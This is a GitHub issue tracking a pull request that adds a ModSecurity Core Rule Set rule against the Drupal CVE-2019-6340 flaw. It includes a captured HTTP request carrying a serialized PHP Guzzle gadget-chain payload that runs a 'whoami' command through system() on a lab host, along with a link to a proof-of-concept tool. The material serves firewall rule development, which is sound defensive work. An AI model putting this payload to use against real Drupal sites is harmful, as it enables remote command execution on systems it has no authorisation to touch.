adding rule for Drupal CVE-2019-6340

_Issue for tracking original pull request created by user d1vious on date 2019-03-02 02:12:41. Link to original PR: https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/1315._

HEAD is: 8b58c08d3cc266cfdb83c6776b6abbd21aba6d40 BASE is: f060b4369090db0e1c1341870e7e68b5bc40efda Used the following modified POC tool to test it https://gist.github.com/d1vious/9d798d4f50d6d887f1babcb82f5e3559 still need to build a unit test for it. Here an example payload from the attack

GET /node/3?_format=hal_json HTTP/1.1
Host: 192.168.86.76
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/hal+json
Content-Length: 583


20:18:28.762332 IP 192.168.86.77.37584 > 192.168.86.76.80: Flags [P.], seq 225:808, ack 1, win 229, options [nop,nop,TS val 615012830 ecr 1128184318], length 583: HTTP
E..{ev@.@.....VM..VL...PO.. ..rB....N>.....
$.Y.C>..{"link": [{"value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:18:\"echo ---- & whoami\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"}], "_links": {"type": {"href": "http://192.168.86.76/rest/type/shortcut/default"}}}

And the matching logs in JSON https://jsoneditoronline.org/?id=8e756fa3f4e34b20b13756d04df78690

[theMiddleBlue]

still active, please keep open

[github-actions[bot]]

This issue has been open 120 days with no activity. Remove the stale label or comment, or this will be closed in 14 days